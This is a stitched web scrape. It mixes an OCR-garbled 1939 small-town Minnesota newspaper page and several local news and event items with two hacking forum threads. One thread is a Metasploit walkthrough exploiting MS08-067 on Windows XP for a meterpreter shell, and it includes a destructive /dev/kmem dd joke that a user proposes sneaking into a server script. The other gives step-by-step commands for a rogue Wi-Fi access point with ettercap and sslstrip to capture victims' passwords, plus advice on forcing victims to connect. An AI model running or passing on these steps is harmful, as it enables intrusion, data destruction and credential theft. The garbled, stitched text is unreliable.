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'-■<n m PINE RIVER JOURNAL 'VOLUME IV, NUMBER 4G THE PINE RiVER JOURNAL, PINE RIVER, CASS\COUNTY, MINNESOTA, FRIDAY, JULY 7, 1939" SUB. $1.00 In County, $1.50 outeide Out of the . . Waste Basket —By— GRANT BERGSTROM NEW CAFB TO OPEN IN PINE RIVER NEXT WEEK IN, HOTEL Mr. Pattison, who recently purchased the Lake Region Hotel, is busy this week renovating the office formerly occupied by the Minnesota Utll ities Co. They will serve eats and light refreshments. Mr. and Mrs. B. li. Shiffer will be the managers. TRUE AMERICANISM AND HOW BEST TO ACHIEVE IT Lost—. .One ,Car Ted Hill experienced a rather odd sensation Sunday morning when he called at the garage for his car and was unable to find it. He had taken ■the car to the garage early Saturday evening to be serviced and left) orders to leave it outside providing he hadn't called for it by closing time. * * * * Saturday night came and went and Ted forgot to call for his car However on Sunday morning he- stopped at the garage and asked for his gasoline steed, whereupon the attendant informed him that it had been parked on the street the previous night with the ignition keys in the Switch as per his instructions. * * * * Thinking at first that it couldn't possibly have been stolen, he made -i thorough search of the garage and before lor)g realized that it would have been an easy matter for someone to drive off with it as everything was in readiness. He then reported the theft to Clyde Townsend, deputy- Sheriff and soon the wheels of John Law were in motion. * * * * Mr. and Mrs. Hill spent Sunday afternoon on a tour with relatives from Pennsylvania who are guests at their home. Upon their return, late in the afternoon, he was approached by our ever-watchful night-watchman, Rube Spencer who had located tlie car very neatly parked in th i al ley back of the hardware store. * * * * By this time Ted realized th it someone had played a practical joke on him ancl before long, his brother-in-law, Jim McGuire with whom he had been riding, told him that the trick had been perpetrated by himself and L. W. Isensee at whose garage the car had been left for servicing. And to top it all off, Mr. McGuire had quietly slipped the ignition keys into Ted's coat pocket during the afternoon where they still reposed. * * * * A Lot of Barley The largest barley field in the world, 100,000 acres, is now being harvested in California. It will take 200 men and 30 large tractors the balance of the season to do the job. It will require $200,000 worth of grain bags to prepare it for shipment ancl if the grain cars that will haul it away were strung end to end, they . would make a train 30 miles long— which is a lot of barley in any man's language. * * * * • Another Fourth of July is over and so are a lot of headaches— or at least they should be by this time! Mr. and .Mrs. Laurence Anderson of Internationual Falls, called at the Art Thompson home Wednesday. They were accompanied by Mrs. Tony Gil- soul also of International Falls who remained to visit at the Thompson and A. J. Linden homes. This sketch shows the anr "Ko Passing" zone white stripe as applied to curves On two-lane state trunk highways, where the driver's view of approaching vehicles is obstructed. When the line on bis., Pine River Lady Held Up On Highway Near Jenkins Mrs. Gertie Eibes suffered the loss of $5(5, which she carried in her purse and had her car drained of gasoline, 3 miles north of Jenkins on No. 371 Monday afternoon. A ear carrying two men crowded her to the roadside and then at the point of a gun, forced her to give up her money. She was on her way to Pequot at. the time. V.F.W. and Auxiliary to Hold Picnic Members of the Roy Lee VF\V and Auxiliary, also the VFW and Auxiliary of AValker ancl Longville, win hold their annual picnic at Gopher Camp on Lake Ada July 10. All Vib'Vr and Auxiliary menmers and their ii'.milies are invited to amend. Bring lunch baskets and dishes. Coffee will be served hy the Pine River Auxiliary. A complete program of races and entertainment has been planned by the committee. The VFW and Auxiliary held their regular meetings Wednesday evening. Mrs. D. L. Triggs will accompany Mary Severns to Virginia Friday. Mr. and Mrs. Dale Dubbs will also attend the Friday and Saturday sessions. SCHOOL ORGANIZES SATURDAY EVENING Officers of the local school board held their organization meeting at the schoolhouse Saturday evening, with the following elected officers : C. W. Swift, Chairman; G. P. Rognlie, Clerk; and Glenn Gardner, Treasurer. The regular meeting date was set for the second Tuesday of each month at 8 p. m. TURTLE BEARS DAT£ OF 1811,' BUT AGE IS DOUBTED Staples.—A large snapping turtle found on the Bert Raun farm recently created much interest. The turtle bore on its shell the markings, 1811 and the initials C. N. At such an age it must have seen much of the world as it no doiibt migrated here. A number of petnple have expressed doubt as to the age of the turtle but according to encyclopedias, turtles have been known to reach the age of 400 years. Hilda Carlson-Carl, Skog Speak Vows Carl Skog, son of Mr. and Mrs. ('has. skog of Pequot, ancl Miss Hilma Carlson, daughter of Mrs. Ella Carlson of Northeast Pine River.were quietly married at the home of the bride's mother Tuesday evening. Rev. Raymond Huss read the service. They were attended by Miss Edith Carlson, sister of the bride, and Jim Skog, brother of the groom. The bride was attired in a yellow lace dress with blue accessories. The groom wore a blue business suit. The groom is the eldest son of Mr. and Mrs. Chas. Skog, ancl is well and favorably known in Pequot, where he graduated from high school. The bride came here about four years ago from Timber Lake and during her stay here has made a host of friends, who wish the young couple a long and happy wedded lift. Following the ceremony, a wedding luncheon was served to immediate relatives and friends at the home of Mrs. Ella Carlson. Out-of-town guests included Miss Cecil Skog of Minneapolis and Mr. and Mrs. Chas. Skog and family of Pequot. Mr. and Mrs. Skog will make their home a Breezy Point this summer, where they are both employed. Ed. Note: The following prize winning essay wa; won by Mary severns of Backus. The contest was .sponsored by the Tine River Ladies Auxiliary. What is true Americanism? These surprising words I read not long ago in an article from tne pen of an n- dergraduate, who, I know, felt be was expressing the yearning desire of something higher, and better, than that already possessed, by thousands of his fellow graduates, There have been many statesmen in this universe who had definite ideas, but few of them cast their opinion on true Americanism, and how best to achci ive it. Americanism is often defined as a gradual assimilation of people making their customs and ideals, that they will meet the American requirements of a good citizen, and apprecfc ate the land of their adoption. This is true- hut true Americanism covers a much wider field or area. Americanism as we look upon it today is more than merely a phrase, a word, a trait or a custom which lias originated in the United States. Patrick Henry in one of his moments of great feeling quoted, "Is life so dear or peace so sweet as to X>4 purchased at the price of chains or slavery? Forbid it Almighty God! I know not what, course others take, but as for me, give me Liberty or give me Death." I think . this quoting is very true, and who, today would try to sell their country's peace? 'Some of the middle aged immigrants resent the American influences which would change the established current of their (-bought. The youthful mind is more plastic, and while ingrained infuences of generations they are strong, and they cannot resist the younger people. The spirit to strive, to equal or excell, and imitation is strong in youngAmericans. What youth today seeks is security. Whey, should youth desire it so eagerly, especially those who have never known real insecurity? That middle age should value security is more natural and proper. The answer, I believe, lies in the misplaced emphasis of the moment, whicn, reams of printed matter, written for the enlightenment of the young people. Doubly unfortunate is the youth who molds his conduct with security as his goal. If we are to make anything of ourselves we must be willing to face the risk of insecurity. In life as in golf, the best rule for the masterful player is to play straight for the pin, scornful of hazards. In even more eloquent words was the folly expressed by Shakespeare, "Our of this nettle, danger, we pluck the flower, safety." Again we must say, youth has voted almost unamimously for Democracy, and has demanded the denouncement both of Communism and Fascism. Youth has also put its finger on enemies of Democracy—failure t° vote or participate in government, corruption and dishonesty. Youth has presented a picture ot the America it wants, nobler than, they of the adult world have dreamed of—free of poverty, ignorance and crime. It condemns excess of i all things except education, which, it believes, will solve all the ills of the world if all are given an opportunity to share it. Religion is also necessary for a greater progress in our nation. Then again, we have the need of co-operation between Capital and Labor. All will succeed to better prosperity ancl stability through cooperation. The spirit of today is that our government is a majic wand which, when waved, will eliminate poverty, crime and other ills of the world. Now comparing today, o our iin- cesters' times, Nathan Haie once stated, "I regret that I have but one lire to lose for my country." Let us stop and think a minute, on this. How many persons today, either young or old, would give their life for their country? Again the American Spirit is brought about in our literature with another quotation from Theadore Roosevelt, "The only life that is worth living is the life of effort to attain what is worth striving for." The ambitious newcomer wants to get more than the bare knowledge of the language, government and contribution .necessary to naturalization. Shown in fhe pictures above are > and distribution of bait over graf a rious stages of the mixing process s hopper infested farms. CREAMERY MEET HELD AT ARMORY SATURDAY NITE A group of farmers interested in completion of the reorganization ot tae Pine Kiver Creamery, met at the armory Saturday evening. Vern Lock- wood, member of the board of directory of the Lond O'Lakes Creameries, spoke on the advantages of this reorganization ancl was confident that with the splendid start made, there was little doubt but what a farmer- owned creamery operating in cue near future would be a reality. Mr. S. Allen Aldrich, cooperative specialist of Grand Rapids, together with Mr. Lockwood, had charge ot the meeting and presented informally, several items to convince everyone present of the dire need for this reorganization. At the suggestion of Erlanft Johnson, F. S . A. Supervisor of Walker. it was agreed to carry on another o- day drive so that the 200 share mark might be approached. Because of the previous successful drive, everyone was enthusiastic and several of those present volunteered their cars and time. All volunteers who have signed share applications were asked to leave them at the creamery so that a complete list of signed shareholders would lie available and thus avoid duplicate farm visits. i Blanks are available at the Pine Hi ver Creamery and if you sign there it will save considerable expense. The dates for this drive as scheduled are Wednesday, Thursday and Fri- ay of next week (July 12, 13 and 14). Mr. Aldrich will be present at that time. The campaign managers appreciate the co-operation thus far shown and hope it will continue until the completion of this project. He is eager to learn American speech. The public schools are perhaps the foremost agencies to Americanization. To leave home and friends and all the familiar scenes of the homeland, ancl cross a wide ocean to a strange land, where language and customs, and daily activities are different, is one of the greatest of modern adventures. Young immigrants learn from classmates, that night schools offer courses in English and citizenship. They look toward tbe American youth as their ideal. Only people free from the plague of want can be a Democratic people Tlie courage to venture material welfare in tnis too materialistic age, to turn one's back upon ambitions ot power or assured position in ordei- to capture the certainty of the Eternal, is the highest expression to which the ambition of man may aspire. RITES FOR E. B. STOUTENBURG SR. HELD WEDNESDAY Swanburg and community Was greatly saddened early Monday, hi the passing of K. B. Stoutenburg Sr., an old resident. He had suffered for a number ot years from a lingering illness which necessitated his stay for long periods in the hospital. He was known and loved as a husband, father and grand father. Funeral services were conducted from the Lutheran Parish, with Rev. Dehaan of Alden, a trusted and respected friend of the deceased. The sincere sympathy of the entire community is extended to Mrs. Stuo- tenburg and family. Mrs. Skinner has Collection of Rare China By Mrs. Dale Dubbs Every now and then, while on duty or off. the Journal reporter happens upon something interesting in our home community of which very few people are aware. Recently, we learned that Mrs. H. ('. Skinner had some rare old china, and that collecting china was her hob by. AVe found fhat Mrs. Skinner's house is very n. ,"h a home, built around her hobb.es, for she not only has some of the finest old dishes but pieces of jewelry ancl other attractive heirlooms that have been in use for several generations. Since Mrs. Skinner was .very modest about giving us information, we will just include the most Interesting points as we remember them. Since every collection has to have a beginning, this one dates back 23 years ago when she was presented witli four bone dishes of English china which once belonged to her grandmother. Incidentally, we learned that "bone dishes" were to be set near the guest's plate, in order that bones^ crumbs, etc., might be gracefully disposed of while at the table. To this was added a porcelain, gold embossed coffee urn, now well over 100 years old, an article of beauty and grace. Since then she has purchased many rare pices besides those she inherited, which range from 60 to more than 100 years old. In the collection we saw hand- blown, fluted-edged overlay bowls that ring clear as a bell; spun glass, with satin lustre in blue "end of day" pattern, spattered with silver; a cranberry glass picked dish, in a Silver holder; opalescent glasses, stippled medallion; a dew and rain-drop pattern designed by Auburn Hany ot old Kokoma, England; whitemilk- glass collection of lacy edged forget- me-not plates; the Battleship Maine SEVERAL INJURED IN COLLISION AT BRIDGE SATUR. Once again the big bridge south ot Pine River fooled out of town drivers, who, going at a good rate of speed met in a head-on collision ar the south approach 'Saturday afternoon. The two cars were completely demolished. Delvin Heins of Oronoca and W. ■T. Murphy of Rochester were enrouta home when they were met on the bridge by Vernon Lagergven, Ephraim Carlson, Maureen Carlson and Sylvia Larson of Grove City who wera enroute to Hackensack and Walker to visit friends and relatives. Failing to negotiate the turns on the inside lane, both cars met, head- on. The men from Grove City suffered serious cuts and bruises ancl were taken immediately to the .ocal hospital by Mrs. John McDonald of Butternut Point, who was passing. Others in The party received minor injuries. Local Yonth Injured in Auto Mishap Arnold Rognlie suffered a broken collar bone Friday, when he fell from a car and was thrown to the street. Arnold, Cleve Miller and the Miss es , Grace Miller and Edith Logan ot Backus were riding in the former's car when the mishap occurred. Arnold was standing in the back and Cleve Miller was driving. When they neared the Leonard Johnson station, the car suddenly swerved throwing the lad to the ground. Rumor had it that he was trying out his car, preparatory to entering the races at Backus wnich is not true. They were driving at only a moderate rate ot speed when the accident occurred. He was taken to the local, hospital where it was found necessary to oper ate because of the seriousness of the break. He is improving rapidly and will soon be about again. NEW OFFICIAL STATE MAP SHOWS MILEAGE Minnesota's new official state map, printed in accordance with law by the state Department of Highways, Is oft the press and requests on hand from organizations, tourists and individual motorists will be filled as rapidly as possible, M. J. Hoffmann, state highway commissioner, announces. An innovation for the convenience of motorists, on the new five-color map, is the lettering-in in red, on the face of the map, of mileage between junctions on all trunk highways. RESOLUTION RESOLVED: That thanks be extended to Grant Bergstrom, editor of the Pine River Journal, for his courtesy shown us in publishing our notice gratis. Resolutions Committee: Tine Grange, 716 Mrs. E. W. Neuman, Chairman Gertrude Marsh , anetta Backman daisy slipper; also black milk glass sterling silver inlay sugar and creamer ; a few pieces of quaint old Royal China with copper-lustre trim, made more than 100 years ago by Alfred Meakin, England. Dahlia and diamond point plates as well as various dishes in the magnolia, satin, chain and star, crystal key and oak leaf patterns. Interesting also are the silver mustache cup and saucer, an old ruby glass and silver wine server dated 1839 from Germany. A bit of history in a memorial glass mug, in ai strip- pled medallion pattern with the picture and name of Major William McKinley, made when he was. running for president with the slogan, "Protection and Prosperity. She also has the hand-painted dresser set taken from the boyhood home of Emerson Hough at Newton, la. This interesting set includes a tray scent bottle, talcum bottle, hat-pin holder, hair receiver and powder and jewel boxes. Space will not permit us to mention more of this collection. Hobbies are always interesting—if you have one let us know about it. Bill Kotke visited with mends in Staples Sunday, >
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Goldwitz' color photograph, Shawangunk Sunrise, received the Sr.
Francis Joseph Egan Best in Show Award at last year's Artists on
the Campus Show.
Mount Saint Mary College invites artists to participate in the
37th Annual Artists on Campus Outdoor Art Show and Sale on Sunday,
May 20.
Artists on Campus will be held under the tent in conjunction
with the Newburgh Rotary's "A Taste of Greater Newburgh," a winning
collaboration featuring great food, music, and artwork.
The show will feature original paintings, prints, drawings,
photography and sculpture. No crafts will be displayed. Artists may
enter their work in the judged and/or open categories.
In the judged category all media are eligible for the Mount
Saint Mary College Sr. Francis Joseph Egan Best in Show Award and
the Gayle Clark Fedigan Award – The Art of Food.
Ribbons will be presented for first place, second place and
honorable mention in the following media: oils/acrylics, black and
white photography, color photography, drawings and prints
(original), mixed media, water media, pastels, Hudson River Valley
Scenes (all media) and a new category, the art of food (all media).
Rocco Fuschetto of Haight Fire Equipment will once again be
donating the ribbons.
Artists may register by downloading a registration form at www.artistsoncampus.org or by calling
845-569-3337. Registrations will not be accepted after May 11.
There is a $30 fee for either the judged or open category, or
$50 for both.
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Nice one, _EcKo
Thank you.
If anyone might want to learn more about metasploit, read here : Metasploit Unleashed - Mastering the Framework
This tutorial will give a basic introduction to metasploit.
In the process, we'll also exploit a machine and run meterpreter on it.
Everything that needs to be typed in console makes use of the code tag
Also, I assume you have some basic understanding of networking and linux.Code:msfconsole
WARNING, it is illegal to access a machine in any way that you do not have permission to access and it might get you in jail. I am not responsible for the actions you take. You have been warned.
now on to the actual guide.
backtrack 4 final
non-patched windows xp sp2 box
(confirmed that this does not work on xp sp3)
some patience
These are my ip's, make sure to change it to reflect your own settings
attacker: 192.168.198.129
victim: 192.168.198.130
Ok, first things first, make sure that metasploit is updated.
Code:/pentest/exploits/fasttrack/fast-track.py -i 1 2
Do a nmap scan to make sure there are some open ports (with hopefully vulnerable services)
Nmap is done scanning and showed me 3 open ports. (if yours say filtered on all ports, try turning off any firewall)Code:nmap -v 192.168.198.130
These are port 135, 139, 445.
We're going to focus on port 445.
A quick search on google shows us that port 445 is commonly used for smb.
start up metasploit
when its done loading,Code:msfconsole
We need an exploit for smb, so we need to choose one from smb folder. I used the ms08_067_netapi exploit.Code:show exploits windows
Notice that after we typed this, msf > changed to msf exploit(ms08_067_netapi)>Code:use windows/smb/ms08_067_netapi
Great, so now we have an exploit, but what next?
an exploit is useless without a payload, so
This will give us a list of payloads compatible with the exploit.Code:show payloads
We're going to use a meterpreter payload for this tutorial
now to configure it allCode:set payload windows/meterpreter/bind_tcp
target is the which windows version and service pack our victim is (our case xp sp2)Code:info set target 3 set rhost 192.168.198.130
though, you could also leave it how it is.
rhost is the ip of the victim
everything else can be default.
if the payload was a reverse tcp, we would also need to set lhost
lhost is the attackers ip.
this is what we (should) get:Code:exploit
great! we're in![*] Started bind handler
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.198.129:60087 -> 192.168.198.130:4444
meterpreter >
lets see what commands we got at our disposal
under what username is meterpreter running?Code:help
what processes are running?Code:getuid
and so we can go on and on about what we can do with meterpreter, but that is outside of the scope of this tutorial.Code:ps
hope this guide has been useful to someone, somewhere.
for a more indepth guide to what metasploit can do, check this link.
Metasploit Unleashed - Mastering the Framework
Last edited by EcKo; 01-23-2010 at 04:30 AM. Reason: cleaning up.
Aquillar> hey, you guys ever play kmem russian roulette?
Agnostos> I don't believe I have. care to explain the details?
Aquillar> dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM
Aquillar> keep executing until system crashes
Aquillar> person that crashes system has to buy beer
Agnostos> lol
Agnostos> I wonder if I can sneak that into a server startup script here.
Nice one, _EcKo
Thank you.
If anyone might want to learn more about metasploit, read here : Metasploit Unleashed - Mastering the Framework
very good
thnx for sharing
Good post, thanks! I'll have to try this out when I get back.
First at all: thanx!
I have a little question... I used the option "set target 0" too, for an automatic test about so 'version' etc ... but this is the result:
The firewall is off and the antivirus too... i am using vbox.Code:msf exploit(ms08_067_netapi) > exploit [*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 3 - lang:English[*] Selected Target: Windows XP SP3 English (NX)[*] Triggering the vulnerability...[*] Exploit completed, but no session was created.
Maybe the system is patched for this kind of exploits?
In this case, it is possible to do something more with this exploit or can i consider this like a closed way?
Thanx (and sorry for my strange english )
here's the link.
Here is a lot of information on metasploit from the folks at Offensive Security Metasploit Unleashed - Mastering the Framework Edit:: Whoops didn't see Linus1907 already posted it.
I did a 45 minute presentation on that metasploit unleashed page and did most of the things on that page.
...nothing to do... for ' my ' version of xp.
But i am begin to understand how metasloit works... and i am happy for this.
Thanx! The link is great! And this community really active!
Metasploit Unleashed course took me from maybesploit to megasploit in just 2 days.
Good job aswell _EcKo Thanks.
I wonder if this'll work with XP SP3.
I'll definitely try it tonight.


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ABERDEEN, Miss. (WCBI)- People in the city of Aberdeen braved the cold to watch the Aberdeen Christmas parade.
Crowds lined the street and listened to the music as marching bands, cars and floats like Robin's unique boutique rolled through downtown Aberdeen.
We even got a glimpse of the Grinch on top of a firetruck. Santa Clause was also there too.
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Wednesday will be a hoot at the Northwest Stream Center. The Adopt-A-Stream foundation and Snohomish County Parks and Recreation are offering a series of Wildlife Wednesday free films for families and this week's movie is "Hoot."
"Hoot" is about a young man's fight to save endangered (you guessed it) owls.
The film is rated PG and even though it's free you must register in advance because seating is limited. Call 425-316-8592.
"Hoot" will be shown at 7 p.m. at the Northwest Stream Center at McCollum Park, 600 128th St. SE, Everett.
On July 31, families can enjoy "Free Willy," a heartwarming story about a troubled young boy who takes a summer job at a marine park and proceeds to figure out how to get Willy back to his ocean habitat.
"Free Willy" starts at 7 p.m. and, again, seats must be reserved in advance at 425-316-8592.
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Broadening baseball's audience
Charleston explores many paths to attracting diverse crowds
By Harold Craw / Charleston RiverDogs | April 3, 2012 11:00 AM ET
These are statements I heard as I began my career in baseball. Instead of listening to what my heart was telling me, I let the views of others keep me from speaking out. After two years with my current ballclub, two very forward-thinking owners approached me. They asked my thoughts on the state of minorities in the game of baseball. Their questions reinforced what my heart was telling me. It was then that I realized the need to take a strong look at baseball and the way the game is marketed to minorities.
The owners' questions were simple, "What would you do to change baseball's perception in the African-American community? How would you get more minorities involved?" At first glance, the answer seemed simple. So I set out to change the entire baseball world. It wasn't until after a failure or two that I realized a more strategic plan was needed.
Step 1: Goal Setting
When I first arrived in Charleston, only two percent of the RiverDogs' total attendance was comprised of minorities. The initial plan was to increase our minority attendance percentage incrementally. I set an attainable goal of two percent growth per season.
Step 2: Organic Growth
My first order of business was to find the 10 most influential minorities in the Charleston community and create a focus group. The hope was to educate and excite the group about the RiverDogs mission and goals. In turn, the group would aid in educating the community and make it easier to sell tickets. What I thought would be a goodwill opportunity for community leaders never reached its full potential. I concluded that the initial focus group's mission was too broad. A good idea, but not enough.
Step 3: Planned Growth
The focus group failure led me back to the drawing board. We needed a formal plan. We needed a structured framework to set the course for the RiverDogs, while still being able to navigate or adjust as we learned more. I drafted a Minority Marketing Plan focused on six segments of business: staffing/recruiting, advertising, promotions, sales, community involvement/customer service, and game presentation/stadium ambiance. Effectively managing these six critical areas allowed us to foster a climate of change. The vision is for people of any ethnic background to enjoy the atmosphere, feel a sense of inclusion, and have an urge to return to our ballpark. The mission is to provide excellence in customer service by indentifying with our fan base and reaching out further into minority communities.
From those key areas, we could set a plan of action to accomplish our mission. We began by looking hard at staffing, sales and advertising. In each of the areas, we concentrated on using alternative methods than we'd previously employed. Some examples:
In addition to posting jobs on a sports website, I contacted historically black colleges in the area and reached out directly to their students. What I found was that the majority of these students didn't know how to get into the business of baseball. Even more eye-opening was that some didn't know there is a business side to baseball.
We focused on educating the community. One of the most effective ways was through our radio campaign. The campaign commercials were informative, funny, and targeted. One commercial focused on past African-Americans players and their effect on the game. By voicing a commercial focused on fun and affordable family entertainment, we corrected the community misconception that African-Americans aren't welcomed at the stadium. Two young African-American males wrote the best commercial we have. I told them I need something fresh, new and outside the box. What I got was our own hip-hop jingle.
The radio commercials launched our promotion strategy. We began with promotional nights. Hip-Hop night, throwback jersey night and Negro League baseball day were all a success. The Negro League promotion was such a hit that it has grown into a two-day event; day one is focused on Charleston's rich history of African-Americans in baseball while day two pays homage to the great men who played in the Negro Leagues.
Using the promotional nights, we could partner with our local radio stations and target our demographic. Our local hip-hop and gospel station had never taken us seriously, until we made a sincere effort to target each station's demographic. In addition to our media relationships, we now had specific events to attract an untapped segment of potential sponsors. Since we began our Negro League baseball day promotion, we have had funeral homes, military branches and historically black colleges become sponsors.
In the same vein, one of the best methods of initially selling tickets was to link the sales with aiding charity organization. Our first successful experience benefitted a local minority scholarship and our homeless shelter. The positive recognition we received was priceless. By earning buy-in with the community through our sincere marketing and outreach efforts, new avenues began and continue to be opening up for our organization.
Once we were on the right track, the same methods were applied to our community involvement/customer service and game presentation.
Community involvement/customer service
I sought out every predominately African-American school, neighborhood association, barbershop and church. I asked them if I could make a presentation and give away some team merchandise. What developed were school and community tours. The tours were sponsored. It gave us access to large groups, where I had the opportunity to tell our story and show that we care about our community. I then went back to each group and sold group tickets. Each year, the number of minority groups attending our games continues to grow.
Game presentation
I knew the one thing that would help us keep our newfound fans would be the game's presentation. Traditionally, the atmosphere was not very inclusive to minorities. There was no diversity in the music or the between innings activities at games. I wanted to make sure we catered to everyone, so I asked that we play a mix of music. Every song was to come from a different genre. The music alone created an immediate and noticeable change in the game's presentation.
Since we implemented the marketing plan, we have added or changed something about our game presentation each season. A great example from last season is the live DJ playing each Thursday night game. It has turned our outdoor pub area into a club atmosphere, drawing yet another population segment to our games.
Over these last seven years, we have seen changes previously unimaginable. The RiverDogs logo is known everywhere I go. I get a "RiverDogs in the house" every time I enter the barbershop. I love it when people ask, "When do tickets go on sale?" or "Do you have the new gear out yet?" While it makes me feel good to see African-Americans walking up and buying tickets, I know that our 10-percent minority attendance still needs to grow. It's my hope that Major League Baseball and Minor League Baseball will put more emphasis on diversifying the game I love so much.
Harold Craw is a contributor to MLB.com. This story was not subject to the approval of the National Association of Professional Baseball Leagues or its clubs.View More


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Charlie Worsham is trying to help Ben Folds save Nashville's Studio A.
The country star called in to BOB 94.9 FM's "Nancy & Newman" show where he explained the situation and said, "It's actually going really well." He also mentions the studio's importance revealing, "I did make some of my record there."
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Nice tut,thanks for taking the time to put it together.
Will give it a try soon
last update: 11/03/'10
I will update this tutorial as I find and learn about new interesting MITM tools to use.
PURPOSE OF THIS TUTORIAL: Setting up a fake AP so clients can connect (or be forced to connect) and surf the internet like on a real AP, while we sniff their data/passwords and such, as we will be the Man In The Middle without the victim(s) knowing.
NOTE: this is for testing purposes only, it's illegal to mess with clients/AP's that don't belong to you, and I will not help if I notice you're doing so.
- A Backtrack 4 Final distro (LiveDVD/USB/Harddisk install is recommended, Vmware can cause problems)
- A wireless injection-capable card (preferably with a well supported chipset like RTL8187, RT73, ..)
- A second wired/wireless interface for an internet connection (a wired interface is recommended)
- Semi-advanced Linux/Backtrack/Aircrack suite skills
- Some common sense
I will use mon0 (my monitor interface), and eth1 (internet), CHANGE those to your interfaces.
also, you will need to find your internet standard gateway, and DNS name server(s).
(my internet gateway and DNS name server are the same, 192.168.2.1)
STEP 1: Establish an internet connection:
STEP 2: Start your wireless interface in monitor mode:Code:dhclient eth1
(make sure you'll use your monitor interface in step 4!)
STEP 3: Configuring the dhcpd.conf:Code:airmon-ng start wlan0
(on your root directory (deskpage), make a new text file, name it dhcpd.conf
open it with kate, and paste this)
CHANGE the domain-name-server(s) to yours! the rest stays the same. save the file.Code:ddns-update-style ad-hoc; default-lease-time 600; max-lease-time 7200; authoritative; subnet 192.168.2.128 netmask 255.255.255.128 { option subnet-mask 255.255.255.128; option broadcast-address 192.168.2.255; option routers 192.168.2.129; option domain-name-servers 192.168.2.1; range 192.168.2.130 192.168.2.140; }
STEP 4: Setup fake AP:
(look at this airbase-ng info page to learn how you could setup different types of fake AP's)
STEP 5: Assign an IP, netmask, gateway and set route for at0:Code:airbase-ng -e wifree mon0
(at0 is the TAP interface that's auto-created by airbase)
STEP 6: Configure and start dhcp3 server:Code:ifconfig at0 up ifconfig at0 192.168.2.129 netmask 255.255.255.128 route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
(so clients who connect to your fake AP will get an IP adress and such)
STEP 7: Configure routing tables:Code:mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd echo > '/var/lib/dhcp3/dhcpd.leases' dhcpd3 -d -f -cf /root/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0
(so an internet connection will be avaible on your softAP)
CHANGE the standard gateway to your internet standard gateway!Code:iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.2.1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
and also the interface to your interface with internet connection.
STEP 8: Start MITM tools:
(I will use ettercap, sslstrip, and driftnet, but you can do as you please.)
=> STEP 8.1: Change etter.conf file:
(this is necessary for ettercap to function properly)
(scroll down the file, search for "Linux", "if you use iptables", "#redir_command_off" and "#redir_command_on", just delete those two "#" signs, that all you need to do, save the file.)Code:kate /etc/etter.conf
=> STEP 8.2: Start ettercap:
(to sniff passwords and such)
=> STEP 8.3: Start sslstrip:Code:ettercap -T -q -p -i at0 // //
(to strip down secure https sites the victim visits, like hotmail.com, gmail, .. so the login details can be sniffed)
=> STEP 8.4: Start driftnet:Code:echo 1 > /proc/sys/net/ipv4/ip_forward sslstrip -a -k -f
(this will show all the images the victim sees in his browser)
that's it! if you got all this down, well done.Code:driftnet -v -i at0
Now you should learn how airdrop-ng/mdk3 works to force clients(victims) to connect to your fake AP, so you can sniff their data.
If you followed this tutorial correctly, your fake AP should be almost as fast like your real AP, at least, mine always is.
I cannot tell the difference between surfing on the fake and on my real AP, but on the fake, everything gets sniffed
note that I am still a semi-noob myself, it could be that some of the commands I provided aren't 100% correct, but this is just the way I do it.
I had to figure it all out by myself, looking at other tutorials and piecing the puzzle together,
and it's working amazingly well for me.
If you're experiencing slow internet on your rogue AP, try it on a different pc! I also had to do this, when using the exact same commands and same alfa adapter on my laptop, it doesn't work. I don't know why, maybe hardware related.
Changing interface MTU values like some people suggest didn't work for me.
On my older pc, this way, this tutorial I made works perfect.
Lastly, always remember you could go to jail when doing stuff like this to people you don't know, or don't have the authority to do so, DON'T DO IT.
If someone knows other neat mitm tools I could add, please share.
Comments are welcome!
Last edited by Lucifer; 03-31-2010 at 07:21 PM.
Nice tut,thanks for taking the time to put it together.
Will give it a try soon
Hi thanks that iptables part is great Iv got so many problems with iptables but now it seems to work.
This is a great HowTo. Its recommended to use this with wired connection.
I also used hamster for side-jacking
Last edited by halfdone; 03-26-2010 at 09:52 PM.
Great tutorial, it worked on my first try--
I have one concern though. Once the victim establishes a connection to the rogue AP all of the other hosts on the same network are visible to them. I'm trying to create more of a sand-boxed rogue AP environment. Maybe this could be done with more iptables rules. Any ideas? First I'm going to play with airdrop-ng.
Thanks again!
I'm glad I could help you guys.
as for the sandboxed rogue ap, I had some thought about it, but it goes beyond my knowledge, sorry!
I know about hamster aswell, but I'm not into side-jacking thanks for sharing though.
One last comment, when using airdrop-ng to break connections between clients and their real AP's, keep this in mind: the essid AND the encryption needs to be the same as the victim uses on his real ap, otherwise a Windows victim for instance will not auto-reconnect to your fake ap. (we want the victim to auto-connect to our rogue ap when his connection to his real AP is broken, waiting for the victim to manually connect takes to long, get it)
as soon as you start using airdrop against a client and the essid, encryption is set correctly in airbase, the victim will instantly connect, no escape from the rogue ap possible.
for the victim, it'll be 'a little lag', but to us, it's succes!
Last edited by Lucifer; 03-24-2010 at 01:50 PM.
Nice tutorial. I'm not sure if it works yet, If it does I think I'll put into a shell script to speed up the process. How would you change the fake login page that the victim is forced to into being directed to?
What fake login page? there isn't one in my tutorial.. but if you're planning on redirecting victims to certain pages, I cannot help you since my knowledge is still very limited. I was only able to make this tutorial by looking at other tutorials on the net, but none of them was so well explained like mine I think, I made it so that anybody can do this without having to mess around for 3 days like I did.
If you're gonna put it in a script, please share it.
Very nice tut! I also liked the way you spelled illegal that should be its proper spelling.
Whoops, corrected it. I'm dutch.
very nice Tut , just one question with this way we can sniff Wireless key ?
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Jargon – you can stick it on National Plain English Day
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National Plain English Day falls on Friday 10 December 2010 and will coincide with the Plain English Campaign's annual Golden Bull awards.
National Plain English Day started with the launch of the campaign when the supporters travelled to Parliament and set to shredding jargon-filled documents on Parliament Green. The police then intervened and read out the legalese-filled Metropolitan Police Act, prompting Chrissie Maher, founder of Plain English Campaign to ask,
"Does all that mean we have to go?"
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Typo torture and grammar groans
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Message from Marie Clair, press officer at Plain English Campaign.
